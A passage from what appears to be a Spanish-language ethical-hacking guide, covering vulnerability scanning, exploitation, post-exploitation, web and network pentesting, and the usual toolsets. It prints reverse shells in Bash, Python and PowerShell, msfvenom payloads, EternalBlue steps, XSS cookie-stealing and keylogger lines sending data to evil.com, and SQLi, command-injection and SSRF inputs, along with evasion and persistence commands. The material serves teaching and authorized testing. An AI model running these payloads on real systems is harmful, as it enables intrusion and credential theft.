git clone https://github.com/danielmiessler/SecLists

6.4 Escaneo de vulnerabilidades

OpenVAS (Greenbone):

Escáner completo.
Base de datos con +50.000 tests.
Interfaz web.

# Instalación como Greenbone Community Edition
docker pull greenbone/community-edition

Nessus:

Estándar comercial.
Versión gratuita limitada a 16 IPs.

Nuclei:

Escáner moderno basado en templates.
Muy rápido.

nuclei -u https://example.com
nuclei -l urls.txt -t cves/

Nikto:

Escáner específico de webs.

nikto -h http://example.com

Guía: [ENLACE: /como-realizar-un-analisis-de-vulnerabilidades-guia-paso-a-paso/]

6.5 Análisis de resultados

Qué buscar en el output:

Servicios y versiones.
Vulnerabilidades conocidas (CVE).
Configuraciones inseguras.
Credenciales por defecto.
Paneles de administración expuestos.
Archivos sensibles.
Metadatos.

Filtrar el ruido:

No todo hallazgo es explotable.
Verificar manualmente.
Priorizar por impacto.

6.6 Evasión de firewalls e IDS

Técnicas básicas:

Fragmentación de paquetes: nmap -f.
Decoys: nmap -D RND:10.
Timing lento: nmap -T1.
Puerto de origen: nmap --source-port 53.
Fragmentación de datos: nmap --data-length 25.

Evitar detección:

Escaneos lentos.
Distribuidos en el tiempo.
Desde IPs rotativas (si autorizado).

⚠️ En pentesting autorizado: comunica estas técnicas al cliente. Pueden activar alertas.

6.7 Documentación del escaneo

Registrar:

Comandos usados.
Puertos abiertos.
Servicios y versiones.
Vulnerabilidades detectadas.
Falsos positivos.
Evidencias (capturas).

Output:

Archivos XML/JSON de Nmap.
Reportes de OpenVAS/Nessus.
Notas estructuradas.

Formato típico de tabla:

Puerto	Servicio	Versión	Estado
22	SSH	OpenSSH 8.2	Abierto
80	HTTP	Nginx 1.18	Abierto
443	HTTPS	Nginx 1.18	Abierto
3306	MySQL	8.0.28	Abierto (crítico)

7. Análisis de vulnerabilidades

Una vez identificados servicios y versiones, toca identificar y verificar vulnerabilidades.

7.1 CVE, CVSS, EPSS

CVE (Common Vulnerabilities and Exposures):

Identificador único de vulnerabilidad.
Formato: CVE-AAAA-NNNNN.
Ejemplo: CVE-2021-44228 (Log4Shell).
Base de datos: https://cve.mitre.org/

CVSS (Common Vulnerability Scoring System):

Puntuación de 0 a 10.
Mide gravedad.
Versión actual: CVSS v3.1 y v4.0.

Rangos:

0.0: Ninguna.
0.1-3.9: Baja.
4.0-6.9: Media.
7.0-8.9: Alta.
9.0-10.0: Crítica.

EPSS (Exploit Prediction Scoring System):

Probabilidad de explotación en 30 días.
0 a 1.
Complementa al CVSS.

Regla: CVSS alto + EPSS alto + expuesto a internet = prioridad máxima.

7.2 Bases de datos de vulnerabilidades

NVD (National Vulnerability Database):

https://nvd.nist.gov/
Base oficial de CVEs.

Exploit-DB:

https://www.exploit-db.com/
Exploits públicos.

CVE Details:

https://www.cvedetails.com/
Info detallada por CVE.

Vulners:

https://vulners.com/
Base de datos agregada.

Packet Storm:

https://packetstormsecurity.com/
Exploits y advisories.

7.3 Verificación de vulnerabilidades

Nunca confíes ciegamente en el escáner. Verifica manualmente:

Reproduce la vulnerabilidad.
Documenta el proceso.
Captura evidencias.
Evalúa impacto real.

Ejemplo: un escáner marca una versión de Apache como vulnerable. Verifica:

¿La versión realmente es esa?
¿La vulnerabilidad es explotable en este contexto?
¿Hay mitigaciones?

7.4 Falsos positivos y negativos

Falso positivo: el escáner dice que hay vulnerabilidad pero no es real.

Falso negativo: hay vulnerabilidad pero el escáner no la detecta.

Cómo reducir falsos positivos:

Usar varios escáneres.
Verificar manualmente.
Revisar configuraciones.

Cómo reducir falsos negativos:

Combinar escaneo automatizado y manual.
Mantener bases de datos actualizadas.
Probar técnicas específicas.

7.5 Priorización por riesgo

No todas las vulnerabilidades importan igual.

Factores:

Criticidad (CVSS): gravedad teórica.
Explotabilidad (EPSS): probabilidad real de exploit.
Exposición: ¿accesible desde internet?
Impacto: ¿qué se compromete?
Activos afectados: ¿críticos para el negocio?
Exploit público: ¿existe?

Matriz de priorización:

CVSS	EPSS	Exposición	Prioridad
Crítico	Alto	Internet	🔴 Inmediata
Crítico	Bajo	Internet	🟠 Alta
Alto	Alto	Interno	🟠 Alta
Alto	Bajo	Interno	🟡 Media
Bajo	Bajo	Interno	🟢 Baja

7.6 Búsqueda de exploits

Fuentes:

Exploit-DB: searchsploit apache 2.4
Metasploit: msfconsole → search apache
GitHub: buscar exploits específicos.
Packet Storm.
CVE Details.

searchsploit:

searchsploit apache 2.4
searchsploit -m 12345   # copiar exploit
searchsploit -x 12345   # examinar

Cuidado:

Exploits públicos pueden estar modificados.
Verifica siempre el código.
Prueba en entorno controlado primero.

7.7 Metasploit Framework

Metasploit es el framework de explotación más usado.

Componentes:

msfconsole: interfaz principal.
msfvenom: generador de payloads.
Módulos: exploits, payloads, auxiliares, post.

Uso básico:

msfconsole

# Buscar un exploit
msf6 > search apache struts

# Usar un módulo
msf6 > use exploit/multi/http/struts2_rest_xstream

# Ver opciones
msf6 > show options

# Configurar
msf6 > set RHOSTS 192.168.1.1
msf6 > set RPORT 8080
msf6 > set LHOST 192.168.1.100
msf6 > set LPORT 4444

# Ejecutar
msf6 > exploit

Payloads comunes:

windows/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp
php/meterpreter/reverse_tcp

Meterpreter: shell avanzada con muchas funcionalidades.

meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump
meterpreter > upload archivo
meterpreter > shell

Guía: [ENLACE: /metasploit-instalacion-y-uso-paso-a-paso-para-principiantes/]

7.8 Análisis manual de vulnerabilidades

Web:

Burp Suite para interceptar y modificar peticiones.
Manual testing de parámetros.
Revisión de código (si es white box).

Sistemas:

Revisión de configuraciones.
Búsqueda de credenciales por defecto.
Análisis de permisos.

Red:

Análisis de tráfico (Wireshark).
Pruebas de protocolos.
Ataques MITM.

7.9 Documentación del análisis

Registrar cada vulnerabilidad:

ID: identificador único.
Título: descripción corta.
CVE/CWE: si aplica.
CVSS: puntuación.
Descripción: qué es.
Impacto: qué permite hacer.
Evidencia: capturas, comandos, output.
Remediación: cómo solucionarlo.
Referencias: links a fuentes.

Ejemplo de hallazgo:

ID: VULN-001
Título: Apache Struts RCE (CVE-2017-5638)
CVSS: 10.0 (Crítico)
Descripción: Apache Struts 2.3.5 permite ejecución remota 
  de código mediante el header Content-Type.
Impacto: Ejecución arbitraria de código con privilegios del 
  servidor, compromiso total del sistema.
Evidencia: [captura de pantalla del exploit funcionando]
Remediación: Actualizar a Apache Struts 2.5.10.1 o superior.
Referencias: 
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
  - https://www.exploit-db.com/exploits/41570

7.10 Continuidad hacia la explotación

Una vez identificadas y priorizadas las vulnerabilidades, el siguiente paso es explotarlas. Pero antes:

Asegurarte de estar dentro del scope.
Notificar al cliente si vas a usar técnicas invasivas.
Tener plan de rollback si algo se rompe.
Documentar todo en tiempo real.

8. Explotación

La explotación es la fase donde intentamos aprovechar las vulnerabilidades identificadas para obtener acceso a los sistemas. Es la parte más técnica y delicada del pentesting.

8.1 Conceptos básicos de explotación

Exploit: código o técnica que aprovecha una vulnerabilidad para lograr un efecto (ejecución de código, escalada de privilegios, DoS).

Payload: lo que se ejecuta una vez explotada la vulnerabilidad:

Reverse shell: el objetivo se conecta a nosotros.
Bind shell: nosotros nos conectamos al objetivo.
Meterpreter: shell avanzada de Metasploit.
Command execution: comando simple.

Shell: acceso a línea de comandos del sistema comprometido.

Tipos de shells:

Reverse shell: más común (evita firewalls de entrada).
Bind shell: el objetivo abre un puerto.
Web shell: script en el servidor web.

8.2 Ciclo de explotación

Fases:

Identificación: vulnerabilidad confirmada.
Selección: exploit adecuado.
Configuración: parámetros específicos.
Ejecución: lanzar el exploit.
Verificación: confirmar acceso.
Estabilización: shell estable.
Documentación: evidencias.

Regla: siempre con autorización y dentro del scope.

8.3 Tipos de exploits

Por origen:

Remotos: desde red, sin acceso previo.
Locales: requieren acceso al sistema.
Client-side: atacan al cliente (navegador, PDF).
Web: contra aplicaciones web.

Por técnica:

Memory corruption: buffer overflow, use-after-free.
Inyección: SQL, command, LDAP.
Deserialization: Java, .NET, Python.
Logic flaws: errores de lógica.
Configuration issues: malas configuraciones.
Authentication bypass: saltarse autenticación.
Privilege escalation: elevar privilegios.

8.4 Explotación de red

Servicios comunes explotables:

SMB (445):

EternalBlue (MS17-010).
SMBGhost (CVE-2020-0796).
Ataques de relay.
Enumeración anónima.

RDP (3389):

BlueKeep (CVE-2019-0708).
Fuerza bruta.
Pass-the-hash.

SSH (22):

Fuerza bruta (con autorización).
Credenciales débiles.
Vulnerabilidades de versión.

FTP (21):

Anonymous login.
Fuerza bruta.
Vulnerabilidades de servidor.

Bases de datos (3306, 5432, 1433):

Credenciales por defecto.
Fuerza bruta.
Vulnerabilidades de versión.

Ejemplo con Metasploit (EternalBlue):

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit

8.5 Explotación web

Las vulnerabilidades web son las más comunes:

SQL Injection (SQLi):

Inyección de código SQL en inputs.
Permite leer/escribir base de datos.
Puede llevar a RCE.

sqlmap -u "http://example.com/?id=1" --dbs
sqlmap -u "http://example.com/?id=1" -D dbname --tables
sqlmap -u "http://example.com/?id=1" -D dbname -T users --dump

XSS (Cross-Site Scripting):

Inyección de JavaScript.
Robo de cookies/sesiones.
Keylogging.

<script>alert('XSS')</script>
<script>fetch('http://evil.com?c='+document.cookie)</script>

LFI/RFI (Local/Remote File Inclusion):

Inclusión de archivos locales o remotos.
Lectura de archivos sensibles.
RCE en algunos casos.

http://example.com/?page=../../../../etc/passwd

Command Injection:

Ejecución de comandos del sistema.
Crítico.

http://example.com/?ip=127.0.0.1;cat /etc/passwd

SSRF (Server-Side Request Forgery):

El servidor hace peticiones a recursos internos.
Bypass de firewalls.

http://example.com/?url=http://169.254.169.254/latest/meta-data/

XXE (XML External Entity):

Inyección en parsers XML.
Lectura de archivos.

Deserialization:

Objetos serializados maliciosos.
Muy crítico (RCE).

8.6 Payloads y shells

Reverse shell en Bash:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Reverse shell en Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Reverse shell en PowerShell:

powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);...

Listener con Netcat:

nc -lvnp 4444

Listener con Metasploit:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit

msfvenom para generar payloads:

# Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe

# Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf

# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php

8.7 Evasión de antivirus y EDR

Los sistemas defensivos modernos detectan exploits y payloads conocidos.

Técnicas de evasión:

Ofuscación de payloads.
Encoding (Base64, XOR).
Encryption.
Living off the land (LOLBins): usar herramientas del sistema.
Process injection.
Reflective loading.
AMSI bypass en Windows.

Herramientas:

Veil Framework.
Shellter.
TheFatRat.
Invoke-Obfuscation.

⚠️ Advertencia: estas técnicas solo con autorización explícita. Los EDR pueden alertar al cliente.

8.8 Consideraciones éticas en explotación

Reglas:

Minimizar el impacto: no dañar sistemas.
No exfiltración real: simular, no robar datos reales.
Documentar todo: evidencias, comandos, capturas.
Informar inmediatamente de hallazgos críticos.
No instalar backdoors permanentes (salvo autorización).
No tocar datos de terceros.
Respetar la ventana temporal.

9. Post-explotación

Una vez obtenido acceso inicial, comienza la post-explotación: consolidar el acceso, escalar privilegios, moverse lateralmente y demostrar el impacto.

9.1 Objetivos de la post-explotación

Estabilizar el acceso.
Escalar privilegios (user → admin/root).
Moverse lateralmente por la red.
Mantener persistencia (con autorización).
Exfiltrar datos (simulado).
Documentar el impacto real.

9.2 Reconocimiento post-explotación

Antes de moverse, entender dónde estás:

Linux:

whoami
id
uname -a
cat /etc/os-release
hostname
ip a
ip r
cat /etc/hosts
ps aux
ss -tulpn
env
sudo -l
cat /etc/passwd
ls -la /home
find / -perm -4000 2>/dev/null
crontab -l

Windows:

whoami /all
systeminfo
hostname
ipconfig /all
net user
net localgroup administrators
netstat -ano
tasklist
wmic qfe list
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

9.3 Escalada de privilegios

En Linux:

Vectores comunes:

SUID binaries: find / -perm -4000.
Sudo misconfigurations: sudo -l.
Cron jobs escribibles.
Capabilities: getcap -r / 2>/dev/null.
Kernel exploits.
Credenciales en archivos.
Servicios con permisos débiles.

Ejemplo con GTFOBins:

Si sudo permite ejecutar find:

sudo find . -exec /bin/sh \; -quit

En Windows:

Vectores comunes:

Unquoted service paths.
Weak service permissions.
AlwaysInstallElevated.
Stored credentials.
Token impersonation.
Kernel exploits.

Herramientas:

WinPEAS.
PowerUp.
Seatbelt.
Sherlock.

Linux:

LinPEAS.
Linux Smart Enumeration.
linux-exploit-suggester.

9.4 Movimiento lateral

Una vez dentro de la red, expandirse:

Técnicas:

Pass-the-hash: usar hashes NTLM sin descifrar.
Pass-the-ticket: Kerberos.
Credential dumping: Mimikatz en Windows.
SSH keys encontradas.
Credenciales en archivos.
SMB/RDP con credenciales obtenidas.
Pivoting a través de hosts comprometidos.

Herramientas:

CrackMapExec.
Impacket.
BloodHound (Active Directory).
Mimikatz.
Responder.

9.5 Persistencia

Mantener acceso entre reinicios (con autorización):

Linux:

Cron jobs.
Systemd services.
SSH authorized_keys.
Bashrc/profile.
Kernel modules.

Windows:

Registry Run keys.
Scheduled tasks.
Services.
Startup folder.
WMI events.

⚠️ En pentesting: la persistencia se documenta y se elimina al final. No se deja backdoor.

9.6 Exfiltración de datos (simulada)

Objetivo: demostrar qué datos podrían exfiltrarse.

Métodos:

DNS exfiltration.
HTTP/HTTPS a servidor controlado.
ICMP tunnels.
Cloud storage.
Email.

En pentesting: se documenta qué se podría exfiltrar, no se exfiltra de verdad.

9.7 Limpieza de rastros

Objetivo: eliminar rastros de la actividad (para no dejar el sistema comprometido):

Borrar logs generados.
Eliminar scripts subidos.
Cerrar sesiones.
Restaurar configuraciones.

Nota: en pentesting autorizado, la limpieza se hace con permiso y se documenta.

9.8 Pivoting

Pivoting: usar un host comprometido como puente para atacar otros.

Técnicas:

SSH tunneling:

ssh -D 1080 user@pivot   # SOCKS proxy
ssh -L 8080:interno:80 user@pivot

Metasploit route:

meterpreter > run autoroute -s 10.0.0.0/24

Chisel, Ligolo-ng: túneles modernos.

Uso: acceder a redes internas desde una posición comprometida.

9.9 Documentación de la post-explotación

Registrar:

Sistema comprometido (IP, hostname).
Usuario obtenido.
Privilegios escalados.
Hosts accedidos lateralmente.
Datos a los que se accedió.
Capturas de pantalla.
Comandos ejecutados.

Impacto demostrado:

¿Qué información es accesible?
¿Qué sistemas están comprometidos?
¿Qué acciones podría hacer un atacante real?

10. Pentesting web

El pentesting web es el más demandado. Casi todas las organizaciones tienen aplicaciones web, y son el vector de ataque más común.

10.1 Metodología OWASP

La OWASP Testing Guide es la referencia. Cubre:

Information Gathering.
Configuration Testing.
Authentication Testing.
Authorization Testing.
Session Management.
Input Validation.
Error Handling.
Cryptography.
Business Logic.
Client-Side Testing.

OWASP Top 10 (2021):

A01: Broken Access Control.
A02: Cryptographic Failures.
A03: Injection.
A04: Insecure Design.
A05: Security Misconfiguration.
A06: Vulnerable Components.
A07: Identification and Authentication Failures.
A08: Software and Data Integrity Failures.
A09: Logging and Monitoring Failures.
A10: Server-Side Request Forgery (SSRF).

10.2 Reconocimiento web

Identificar tecnologías:

whatweb http://example.com
wappalyzer  # extensión de navegador

Enumerar directorios:

gobuster dir -u http://example.com -w wordlist.txt
feroxbuster -u http://example.com -w wordlist.txt
ffuf -u http://example.com/FUZZ -w wordlist.txt

Crawling:

# OWASP ZAP spider
# Burp Suite spider

Análisis de robots.txt y sitemap.xml:

http://example.com/robots.txt
http://example.com/sitemap.xml

10.3 Burp Suite

Burp Suite es la herramienta estándar para pentesting web.

Componentes:

Proxy: intercepta tráfico.
Repeater: repite y modifica peticiones.
Intruder: fuzzing y ataques automatizados.
Scanner: escaneo automático (Pro).
Decoder: codificación/decodificación.
Comparer: comparar peticiones/respuestas.
Sequencer: análisis de tokens.

Configuración básica:

Configurar proxy en navegador (127.0.0.1:8080).
Instalar certificado de Burp.
Navegar el sitio para mapear.
Analizar peticiones y respuestas.

Intruder:

Attack types: Sniper, Battering ram, Pitchfork, Cluster bomb.
Payloads: diccionarios, números, fechas.
Grep match para filtrar respuestas.

Extensiones útiles:

Logger++
Autorize
Turbo Intruder
J2EEScan
Active Scan++
Param Miner

10.4 OWASP ZAP

ZAP (Zed Attack Proxy) es la alternativa open source a Burp.

Ventajas:

Gratis y open source.
Escaneo automático completo.
CLI para automatización.
API para CI/CD.

Uso básico:

Modo proxy.
Spider del sitio.
Active scan.
Revisar alertas.

10.5 SQL Injection en profundidad

Tipos:

In-band (clásica): UNION-based, Error-based.
Blind: Boolean-based, Time-based.
Out-of-band: DNS, HTTP.

Ejemplo Union-based:

' UNION SELECT 1,username,password FROM users--

SQLmap:

# Detección básica
sqlmap -u "http://example.com/?id=1"

# Enumerar bases de datos
sqlmap -u "http://example.com/?id=1" --dbs

# Enumerar tablas
sqlmap -u "http://example.com/?id=1" -D dbname --tables

# Dumpear datos
sqlmap -u "http://example.com/?id=1" -D dbname -T users --dump

# Con POST
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --dbs

# Con cookie
sqlmap -u "http://example.com/?id=1" --cookie="PHPSESSID=xxx"

# Shell
sqlmap -u "http://example.com/?id=1" --os-shell

Prevención: prepared statements, validación de entrada, WAF.

10.6 XSS en profundidad

Tipos:

Reflected: el payload viene de la petición.
Stored: se guarda en base de datos.
DOM-based: manipulación del DOM en cliente.

Payloads básicos:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>

Robo de cookies:

<script>fetch('http://evil.com?c='+document.cookie)</script>

Keylogger:

<script>
document.onkeypress = function(e) {
  fetch('http://evil.com?k='+e.key);
}
</script>

BeEF (Browser Exploitation Framework):

Framework para explotar navegadores vía XSS.
Hook: <script src="http://beef-ip:3000/hook.js"></script>
Módulos: robo de cookies, keylogging, screenshot, etc.

Prevención: escape de output, CSP, validación de entrada.

10.7 Otras vulnerabilidades web

CSRF (Cross-Site Request Forgery):

Forzar al usuario a ejecutar acciones no deseadas.
Mitigación: tokens CSRF, SameSite cookies.

SSRF:

El servidor hace peticiones a recursos internos.
Acceso a metadata cloud (169.254.169.254).
Bypass de firewalls.

XXE:

Inyección XML.
Lectura de archivos.
SSRF via XXE.

Deserialization:

Java, .NET, Python, PHP.
RCE si hay gadgets.

File Upload:

Subir webshells.
Bypass de validaciones.

Path Traversal:

Acceso a archivos fuera del directorio.
../../etc/passwd

IDOR (Insecure Direct Object Reference):

Acceso a recursos cambiando IDs.
http://example.com/user/123 → http://example.com/user/124

10.8 APIs

El pentesting de APIs es cada vez más importante:

Tipos:

REST.
GraphQL.
SOAP.
gRPC.

Problemas comunes:

Autenticación débil.
Rate limiting ausente.
Exposición excesiva de datos.
IDOR.
Injection.
CORS mal configurado.

Herramientas:

Postman.
Insomnia.
Burp Suite (con extensiones).
Kite Runner.
GraphQL Voyager para mapear.

Guía: [ENLACE: /guia-para-asegurar-apis-mejores-practicas-y-herramientas/]

10.9 Reporte de pentesting web

Estructura típica:

Resumen ejecutivo.
Metodología.
Alcance.
Hallazgos (por criticidad):
- Descripción.
- Impacto.
- Evidencia (request/response).
- Remediación.
- Referencias (CWE, OWASP).
Conclusión.
Anexos.

Formato de hallazgo web:

ID: WEB-001
Título: SQL Injection en parámetro "id"
Criticidad: Crítica
URL: http://example.com/product?id=1
Descripción: El parámetro "id" es vulnerable a SQL injection...
Payload: ' UNION SELECT 1,version(),database()--
Evidencia: [captura de la respuesta]
Impacto: Acceso completo a la base de datos, incluyendo credenciales.
Remediación: Usar prepared statements. Implementar WAF.
Referencias: OWASP A03:2021, CWE-89

11. Pentesting de red

El pentesting de red se centra en la infraestructura: servidores, dispositivos de red, servicios.

11.1 Pentesting interno vs externo

Externo:

Desde internet.
Simula atacante externo.
Objetivo: encontrar puntos de entrada.
Alcance: IPs y dominios públicos.

Interno:

Desde dentro de la red.
Simula insider o atacante post-compromiso.
Objetivo: evaluar segmentación y controles internos.
Alcance: toda la red interna.

11.2 Enumeración de red

Descubrir hosts:

nmap -sn 192.168.1.0/24
arp-scan --localnet
netdiscover -r 192.168.1.0/24

Topología:

traceroute 192.168.1.1
mtr 192.168.1.1

Servicios:

nmap -sV -p- 192.168.1.0/24

11.3 Ataques a Active Directory

Active Directory es el directorio de Microsoft, muy común en empresas.

Enumeración:

# Con credenciales de dominio
bloodhound-python -u user -p pass -d domain.local -ns 192.168.1.1 -c all

# Sin credenciales
enum4linux -a 192.168.1.1
rpcclient -U "" 192.168.1.1

BloodHound:

Herramienta gráfica para mapear AD.
Encuentra rutas de escalada.
Muy visual.

Ataques comunes:

Kerberoasting: extraer tickets y crackearlos.
AS-REP Roasting: usuarios sin preauth.
Pass-the-Hash.
Pass-the-Ticket.
Golden Ticket.
Silver Ticket.
DCSync.
Zerologon.

Herramientas:

Impacket (scripts Python).
CrackMapExec.
Rubeus.
Mimikatz.
Responder.

11.4 Ataques MITM

MITM (Man-in-the-Middle): interceptar y modificar tráfico.

Técnicas:

ARP spoofing:

arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

DNS spoofing.
LLMNR/NBT-NS poisoning (Responder).
WPAD hijacking.
SSL stripping.

Herramientas:

Bettercap.
Responder.
Ettercap.

Mitigación: DAI (Dynamic ARP Inspection), DNSSEC, HTTPS everywhere.

11.5 Pentesting WiFi

Tipos de redes:

WEP: obsoleto, fácil de romper.
WPA/WPA2-PSK: común, se rompe con captura de handshake.
WPA2-Enterprise: más seguro.
WPA3: el más seguro.

Ataques comunes:

WEP cracking: aircrack-ng.
WPA handshake capture + cracking: airodump-ng + aircrack-ng.
Evil Twin: crear AP falso.
Deauth attack: desconectar clientes.
WPS PIN attack: reaver.

Herramientas:

Aircrack-ng suite.
Wifite.
Kismet.
Bettercap.

Hardware: tarjeta WiFi con soporte de monitor mode e injection.

Guías:

[ENLACE: /como-hacer-un-pentesting-en-redes-wi-fi-publicas/]
[ENLACE: /riesgos-de-las-redes-wifi-publicas-y-como-protegerte/]
[ENLACE: /como-proteger-tu-red-wi-fi-consejos-y-mejores-practicas/]

11.6 Ataques a dispositivos de red

Switches:

VLAN hopping.
MAC flooding.
STP manipulation.

Routers:

Configuraciones débiles.
Credenciales por defecto.
SNMP público.

Firewalls:

Bypass de reglas.
Tunneling.

11.7 Segmentación y bypass

Objetivo: comprobar si la segmentación funciona.

Técnicas:

Pivoting con SSH.
Uso de hosts comprometidos como proxy.
DNS tunneling.
ICMP tunneling.
Protocolos permitidos como canal.

Herramientas:

Chisel.
Ligolo-ng.
iodine (DNS tunneling).
ptunnel (ICMP tunneling).

11.8 Documentación de pentesting de red

Registrar:

Hosts descubiertos.
Puertos y servicios.
Vulnerabilidades.
Credenciales obtenidas.
Movimiento lateral.
Escaladas de privilegios.

Diagrama de red:

Topología descubierta.
Segmentación.
Rutas de ataque.

Formato de hallazgo de red:

ID: NET-001
Título: Credenciales débiles en servicio RDP
Criticidad: Alta
Host: 192.168.1.50:3389
Descripción: El servidor permite autenticación con contraseña "P@ssw0rd".
Evidencia: [captura del login exitoso]
Impacto: Acceso completo al servidor con privilegios de administrador.
Remediación: 
  - Contraseñas robustas.
  - MFA.
  - Restricción por IP.
  - Cuentas de bloqueo tras intentos fallidos.

12. Distribuciones y hramientas

El pentester profesional domina un arsenal de herramientas. Esta sección repasa las distribuciones y herramientas más importantes.

12.1 Distribuciones para hacking ético

Kali Linux:

La referencia del sector.
Basada en Debian.
+600 herramientas preinstaladas.
Mantenida por Offensive Security.
Versiones: instalación completa, Live, WSL, contenedores, ARM.

# Actualizar Kali
sudo apt update && sudo apt full-upgrade -y

# Instalar herramientas específicas
sudo apt install kali-tools-web
sudo apt install kali-tools-exploitation

Guía completa: [ENLACE: /guia-completa-kali-linux/]

Parrot OS:

Alternativa ligera a Kali.
Basada en Debian.
Enfoque en privacidad.
Dos ediciones: Security y Home.

Guía: [ENLACE: /parrotos-6-1-lorikee-guia-completa/]

BlackArch:

Basada en Arch Linux.
+2.800 herramientas.
Rolling release.
Para usuarios avanzados.

Guía: [ENLACE: /blackarch-linux-guia-completa/]

REMnux:

Especializada en análisis de malware.
Sin herramientas ofensivas.

CAINE:

Forense digital.
Interfaz amigable.

Commando VM:

Distribución Windows para pentesting.
Creada por Mandiant.

Comparativa:

Distro	Base	Enfoque	Ideal para
Kali	Debian	Pentesting general	Principiantes, todos
Parrot	Debian	Privacidad + pentesting	Usuarios con experiencia
BlackArch	Arch	Máximo arsenal	Usuarios avanzados
REMnux	Ubuntu	Análisis de malware	Analistas
CAINE	Ubuntu	Forense	Forenses

Comparativa detallada: [ENLACE: /kali-linux-vs-parrot-os-comparacion-analisis-2026/] y [ENLACE: /mejores-distribuciones-linux-para-hacking-etico/]

USB persistente: [ENLACE: /usb-persistence-kali-blackarch/]
Herramientas BlackArch: [ENLACE: /herramientas-blackarch/]

12.2 Herramientas esenciales por categoría

Reconocimiento:

Nmap: escaneo de red.
Masscan: escaneo ultrarrápido.
theHarvester: OSINT.
Maltego: análisis de relaciones.
Recon-ng: framework OSINT.
Amass: enumeración de subdominios.
Shodan / Censys: dispositivos expuestos.
Sublist3r: subdominios.
dnsrecon: DNS.

Análisis de red:

Wireshark: análisis de tráfico.
tcpdump: captura CLI.
Responder: LLMNR/NBT-NS poisoning.
Bettercap: MITM.
Ettercap: MITM clásico.
hping3: paquetes personalizados.
Netcat: conexiones TCP/UDP.

Escaneo de vulnerabilidades:

OpenVAS / Greenbone.
Nessus.
Nuclei.
Nikto.
Lynis.

Explotación:

Metasploit Framework.
SearchSploit.
BeEF: navegadores.
SQLmap: SQL injection.
Commix: command injection.
WPScan: WordPress.
msfvenom: payloads.

Web:

Burp Suite.
OWASP ZAP.
ffuf: fuzzing.
Gobuster: directorios.
Feroxbuster: directorios.
Dirb: directorios.
wfuzz: fuzzing.

Password attacks:

John the Ripper.
Hashcat.
Hydra.
Medusa.
CrackMapExec.
Mimikatz.

Post-explotación:

BloodHound: AD.
Impacket: protocolos Windows.
PowerSploit.
Empire.
Covenant.
Rubeus.

Forense y análisis:

Volatility: memoria.
Autopsy: forense.
Sleuth Kit.
Binwalk: firmware.
Ghidra: reversing.
IDA Pro: reversing.
radare2: reversing.

Wireless:

Aircrack-ng suite.
Wifite.
Kismet.
Reaver.
Bettercap.

Anonimato:

Tor.
Proxychains.
Tails.
Whonix.
VPNs (Mullvad, IVPN).

Guía completa: [ENLACE: /mejores-herramientas-de-hacking-2026/]

12.3 Burp Suite vs OWASP ZAP

Aspecto	Burp Suite	ZAP
Precio	Community gratis, Pro pago	Gratis
Interfaz	Muy pulida	Menos pulida
Scanner automático	Solo en Pro	En Community
Extensibilidad	BApp Store	Marketplace
CLI	Limitado (Pro)	Excelente
API	Sí (Pro)	Sí
Automatización CI/CD	Pro	Excelente
Ideal para	Profesionales	Todos, automatización

Recomendación: aprende ambos. Burp para trabajo manual, ZAP para automatización.

12.4 Metasploit en profundidad

Módulos:

exploits: código de explotación.
payloads: lo que se ejecuta.
auxiliary: escaneo, fuzzing, sniffing.
post: post-explotación.
encoders: evasión.
nops: NOP generators.
evasion: evasión de AV.

Estructura:

exploit/[plataforma]/[protocolo]/[nombre]
payload/[plataforma]/[arquitectura]/[tipo]

Uso avanzado:

# Workspaces
msf6 > workspace -a pentest2026
msf6 > workspace pentest2026

# Importar resultados de Nmap
msf6 > db_import scan.xml
msf6 > hosts
msf6 > services

# Buscar exploits para un servicio
msf6 > search type:exploit platform:windows smb

# Módulos auxiliares
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > use auxiliary/scanner/http/dir_scanner

# Sesiones
msf6 > sessions -l
msf6 > sessions -i 1

# Pivotar
meterpreter > run autoroute -s 10.0.0.0/24

Meterpreter avanzado:

# Información
sysinfo
getuid
getsystem

# Archivos
ls
cd
download archivo
upload archivo

# Red
ipconfig
route
portfwd add -l 8080 -p 80 -r 10.0.0.5

# Credenciales
hashdump
load kiwi
creds_all

# Persistencia
run persistence -U -i 5 -p 4444 -r 192.168.1.100

# Screen/Camera
screenshot
webcam_snap

Guía: [ENLACE: /metasploit-instalacion-y-uso-paso-a-paso-para-principiantes/]

12.5 Automatización del pentesting

Frameworks todo-en-uno:

AutoRecon: automatiza reconocimiento.
Sn1per: escaneo automatizado.
PentestGPT: uso de IA.
Reconftw: reconocimiento completo.

Scripts propios:

#!/usr/bin/env python3
import subprocess

target = "192.168.1.0/24"

# Nmap scan
subprocess.run(["nmap", "-sV", "-oA", "scan", target])

# Nuclei
subprocess.run(["nuclei", "-l", "urls.txt"])

# Nikto
subprocess.run(["nikto", "-h", "http://target"])

CI/CD para seguridad:

GitHub Actions con Semgrep.
GitLab CI con SAST.
Jenkins con OWASP Dependency-Check.

12.6 Escribir tus propias herramientas

Un pentester profesional sabe programar. Ejemplo de script en Python:

#!/usr/bin/env python3
"""Port scanner simple con sockets"""

import socket
